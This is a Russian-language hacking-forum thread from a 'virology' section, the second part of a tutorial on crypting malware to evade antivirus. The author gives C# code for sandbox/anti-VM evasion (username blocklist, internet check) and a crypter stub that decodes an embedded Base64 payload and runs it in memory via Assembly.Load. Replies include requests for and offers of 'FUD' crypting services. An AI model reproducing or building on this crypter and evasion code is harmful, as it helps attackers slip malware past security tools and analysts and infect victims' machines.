Загрузка...

Криптование вирусов, понятия, простой пример - 2

Тема в разделе Вирусология создана пользователем Nmz 14 апр 2024. (поднята 27 июл 2024) 1302 просмотра

Загрузка...
  1. Nmz
    Nmz Автор темы 14 апр 2024 45 31 июл 2023
    Всем привет :anime_hi:

    Сегодня хотел бы с вами немного более подробно обсудить тему крипта и применяемые там методы больше с тех части.
    Тут не будет базовых понятий, их я описал в своей первой теме.

    Покажу небольшой пример криптора, расскажу о используемых методах, расскажу о более серьезных понятиях в теме, и немного
    болталогии, конечно
    :cool_bun:

    Начнем, как всегда, с понятий но более сложных и методов применяемых:

    Метаморфизм :gigachad: :

    Возможно, вы часто видели подобное у разных крипторов, которые этим хвалятся, чуть ли не пишут везде, хотя это, само собой разумеется.
    Это, если в кратце, запутывание кода, создание бесполезных блоков проверок, работа через множество классов и всяческое его усложнение с целью запутать и уменьшить детект.
    К примеру, в моем коде это блок шифрования и дешифрования XOR, который в принципе и не нужен, так как изначальные байты криптуемого файла находятся в простом Base64.

    Алгоритмы в криптографии и различные ухищрения:

    Есть множество алгоритмов, которыми мы можем пользоваться: Base64, AES, XOR, RC6, TEA, XTEA, WAKE, Madryga и т.д. Можете шифровать картинку и брать байты из нее по пикселям,
    это также очень популярный метод в криптографии.

    Какой язык для этого выбрать:

    Лучше всего брать нативный язык, как C, C++, Rust. Это усложнит реверс. Также можете взять C# или C# c NativeAOT
    :fap: , но это все крайне усложнит. К примеру, скопировать копию самого себя,
    используя NativeAOT, нельзя просто так, вы забьете буфер, нужно искать костыли. Использовать Python не рекомендую, тут думаю, понятно почему.


    И так, наконец, приступ к примеру:

    Для начала я создал простую проверку на наличие интернета и небольшой фильтр имен пользователей. Это очень простой пример AntiVM,
    но вам я советую это проверять наличие драйверов Wireshark, ProcessHacker и различных дебагеров, проверять наличие физического жесткого диска и наличие мышки
    (хотя сейчас даже такое не всегда помогает, тут нету общего решения проблемы).



    CSHARP
    class Program
    {
    static void Main()
    {
    if (!CheckForInternetConnection())
    {
    Console.WriteLine("Отсутствует интернет-соединение. Программа завершает работу.");
    return;
    }

    if (IsUnsafeEnvironment())
    {
    Console.WriteLine("Обнаружено небезопасное окружение. Программа завершает работу.");
    return;
    }

    MyClass.MyMethod(); //запуск
    }
    static bool CheckForInternetConnection()
    {
    try
    {
    using (var client = new WebClient())
    using (client.OpenRead("http://clients3.google.com/generate_204")) //проверка инета
    {
    return true;
    }
    }
    catch
    {
    return false;
    }
    }
    static bool IsUnsafeEnvironment()
    {
    string[] unsafeEnvironmentIdentifiers = { "VMware", "george", "vmware", "virtualbox", "Abby", "azure", "VirtualBox", "abby" }; //Проверка имен
    string userName = Environment.UserName.ToLower();

    foreach (string identifier in unsafeEnvironmentIdentifiers)
    {
    if (userName.Contains(identifier))
    return true;
    }

    return false;
    }
    }



    Следующий код уже является примером криптора, который дешифрует байты нашей полезной нагрузки из Base64, потом шифрует в XOR,
    затем дешифрует и запускает Assembly.Load внутри самого себя.



    CSHARP
    namespace ConsoleApp1
    {
    internal class Programs
    {
    public class MyClass
    {

    private const byte XorKey = 0x53;

    public static void MyMethod()
    {
    try
    {
    string base64EncodedData = "BASE 64 BYTES";
    string encryptedBase64Data = XorEncrypt(base64EncodedData);


    string decryptedBase64Data = XorDecrypt(encryptedBase64Data);


    byte[] assemblyBytes = Convert.FromBase64String(decryptedBase64Data);


    Assembly assembly = Assembly.Load(assemblyBytes);


    MethodInfo entryPoint = assembly.EntryPoint;

    if (entryPoint != null)
    {

    entryPoint.Invoke(null, null);
    }
    else
    {
    Console.WriteLine("Fail: Entry point not found in the assembly.");
    }
    }
    catch (FormatException)
    {

    Console.WriteLine("Fail: Invalid Base64 encoded data.");
    }
    catch (ArgumentNullException)
    {
    Console.WriteLine("Fail: Input data is null.");
    }
    catch (Exception ex)
    {

    Console.WriteLine($"Fail: {ex.Message}");
    }
    }

    private static string XorEncrypt(string data)
    {
    char[] encryptedChars = new char[data.Length];
    for (int i = 0; i < data.Length; i++)
    {
    encryptedChars[i] = (char)(data[i] ^ XorKey);
    }
    return new string(encryptedChars);
    }
    private static string XorDecrypt(string encryptedData)
    {
    return XorEncrypt(encryptedData);
    }
    }
    }
    }


    Хотелось бы добавить, что такого рода крипт очень ненадежный, хотя бы потому что работает он с Base64, но так как это всего-то пример, можно закрыть глаза. :finger_up:

    Пишите если есть какие-то вопросы, замечания и тд всем буду рад


    Спасибо за внимание! :povezlo:
     
    14 апр 2024 Изменено
  2. Nmz
    Nmz Автор темы 14 апр 2024 45 31 июл 2023
    Пишите вопросы и замечания буду рад обсудить и выслушать критику
     
  3. Экстази
    Экстази 14 апр 2024 1143 17 окт 2023
    отлично, в следующий раз напиши статью как скрафтить фентанил
     
    1. Nmz Автор темы
  4. BTC_TPAXEP
    BTC_TPAXEP 29 апр 2024 Заблокирован(а) 725 10 окт 2017
    Добрые люди, нужен CRYPT КАЧЕСТВЕННЫЙ X32 BUILD
     
    1. Посмотреть предыдущие комментарии (1)
    2. Дедикиэтозаговор
      BTC_TPAXEP, На вин 10 могу сделать простенький FUD
  5. Drako3333
    Drako3333 30 апр 2024 0 3 фев 2023
    а как и куда этот код вписывать
     
Top